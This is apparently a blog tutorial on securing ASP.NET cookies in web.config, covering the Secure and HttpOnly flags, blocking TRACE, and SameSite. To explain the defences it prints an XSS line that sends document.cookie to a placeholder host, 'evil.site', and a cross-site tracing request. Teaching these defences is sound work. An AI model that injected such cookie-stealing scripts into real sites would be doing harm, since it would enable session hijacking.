The ultimate guide to secure cookies with web.config in .NET

You've already heard about cross-site scripting (XSS), right? XSS is a situation where a hacker can inject malicious scripts into your website. This is not a blog post about XSS, but multiple bad things can happen if anyone succeeds in injecting code into your site. The one I want to present to you today is to take advantage of the cookies used by your site.

The easiest way to understand the problems with XSS and cookies is by example. Most authentication systems for ASP.NET and Core use an authentication cookie for your application to tell the web server the client is successfully signed in. You have probably already seen a cookie named .ASPXAUTH in your browser. This is a cookie returned by Forms Authentication once the user is signed in. The value of the cookie contains an encrypted string that can be used to authenticate the user on subsequent requests. If a hacker somehow gets the value of the .ASPXAUTH cookie, he/she would now be able to hijack that session. Danger Will Robinson!

Mark cookies as Secure

So, how do we make sure that no-one but our website gets access to that cookie? The first step is to make sure the website is running HTTPS. Here, I'm not talking about adding HTTPS as an alternative to HTTP. HTTPS exclusively is the only way to roll. By running HTTPS only, no-one can inspect the traffic between the browser and the webserver using a man-in-the-middle attack or something similar. When you switch to HTTPS, you will need to tell it that cookies should be available over HTTPS only. To do so globally, you can include the following in Web.config:

<system.web>
    ...
    <httpCookies requireSSL="true" />
</system.web>

If you are creating cookies manually, you can mark them secure in C# too:

Response.Cookies.Add(
    new HttpCookie("key", "value")
    {
        Secure = true,
    });

That's it! Cookies are now only sent over HTTPS, making it impossible to intercept any cookies accidentally sent over HTTP (you still want to eliminate those calls if any).

Mark cookies as HttpOnly

Are we safe yet? Not really since hackers may have had luck injecting code into your website. JavaScript has access to cookies as a default, making it possible to write something like this:

console.log(document.cookie);

Logging cookies into the console probably isn't a problem, but consider someone having luck sneaking in the following script onto your page:

window.location="http://evil.site/store?cookies="+document.cookie;

That's right! All cookies, including the authentication cookie, were just stored by the hacker's website (evil.site was the most hacker-sounding domain I could come up with).

Since a lot of cookies never need to be accessible from JavaScript, there's a simple fix. Marking cookies as HttpOnly. As the name suggests, HTTP only cookies can only be accessed by the server during an HTTP (S!) request. The authentication cookie is only there to be sent back and forth between the client and server and a perfect example of a cookie that should always be marked as HttpOnly.

Here's how to do that in Web.config (extending on the code from before):
<system.web>
    ...
    <httpCookies httpOnlyCookies="true" requireSSL="true" />
</system.web>
The value of the httpOnlyCookies attribute is true in this case. Like in the previous example, HttpOnly can also be set from C# code:
Response.Cookies.Add(
    new HttpCookie("key", "value")
    {
        HttpOnly = true,
        Secure = true,
    });

Here, I've set the HttpOnly property to true.
Avoid TRACE requests (Cross-Site Tracing)
Marking cookies as Secure and HttpOnly isn't always enough. There's a technique called Cross-Site Tracing (XST) where a hacker uses the request methods TRACE or TRACK to bypass cookies marked as HttpOnly. The TRACE method is originally intended to help debugging, by letting the client know how a server sees a request. This debugging info is printed to the response, making it readable from the client.
If a hacker has successfully injected code onto your page, he/she could run the following script:
var xhr = new XMLHttpRequest();
xhr.open('TRACE', 'https://my.domain/', false);
xhr.send(null);
console.log(xhr.responseText);

If the receiving webserver supports TRACE requests, the request including server variables, cookies, etc., is now written to the console. This would reveal the authentication cookie, even if it is marked as Secure and HttpOnly.
Luckily, modern browsers won't let anyone make TRACE requests from JavaScript. You still want to eliminate the possibility, by updating your Web.config accordingly:
<system.webServer>
  <security>
    <requestFiltering>
      <verbs>
        <add verb="TRACE" allowed="false" />
        <add verb="TRACK" allowed="false" />
      </verbs>
    </requestFiltering>
  </security>
</system.webServer>


The verbs element includes a list of HTTP verbs not allowed.
SameSite to avoid cross-site request forgery
We're almost there. A single issue is missing, though. All that work to prevent anyone from intercepting the traffic between your client and server and yet there is another problem. You may have heard about something called Cross-Site Request Forgery (CSRF). CSRF is the practice of cheating the user into requesting a website where he/she is already logged in. This can be in the form of hidden forms, image elements, and more.
None of the changes above guards against CSRF. Both ASP.NET and ASP.NET Core supports generating tokens for the server to validate each request. Here you let your server generate a unique token and update all of your forms to include this token. When posting data back to the server, ASP.NET (Core) validates the token and throws an error if invalid.
SameSite is a cookie attribute that tells if your cookies are restricted to first-party requests only. It may sound a bit strange, so let's look at an example. If a page on domain domain1.com requests a URL on domain1.com and the cookies are decorated with the SameSite attribute, cookies are sent between the client and server. If domain2.com requests domain1.com and the cookies of the website on domain1.com are decorated with the SameSite attribute, cookies are not exchanged.
.NET 4.7.2 and .NET Core 3.1 both supports the SameSite attribute. But the easiest implementation (IMO) is by including a rewrite rule in Web.config:
<system.webServer>
  <rewrite>
    <outboundRules>
      <clear />
      <rule name="Add SameSite" preCondition="No SameSite">
        <match serverVariable="RESPONSE_Set_Cookie" pattern=".*" negate="false" />
        <action type="Rewrite" value="{R:0}; SameSite=lax" />
      </rule>
      <preConditions>
        <preCondition name="No SameSite">
          <add input="{RESPONSE_Set_Cookie}" pattern="." />
          <add input="{RESPONSE_Set_Cookie}" pattern="; SameSite=lax" negate="true" />
        </preCondition>
      </preConditions>
    </outboundRules>
  </rewrite>
  ...
</system.webServer>

The rule automatically appends SameSite=lax to all cookies. lax means send the cookie on first-party requests or top-level navigation (URL in the browser changes). Another possible value is strict where a cookie is only sent on first-party requests. In this case, a domain linking to your site will cause IIS not to send the cookie.
We are finally there. You have now done everything in your power to secure your cookies. All of the examples in this post are for classic ASP.NET, MVC, Web API. Similar examples can be created for ASP.NET Core.

Post a Comment

0 Comments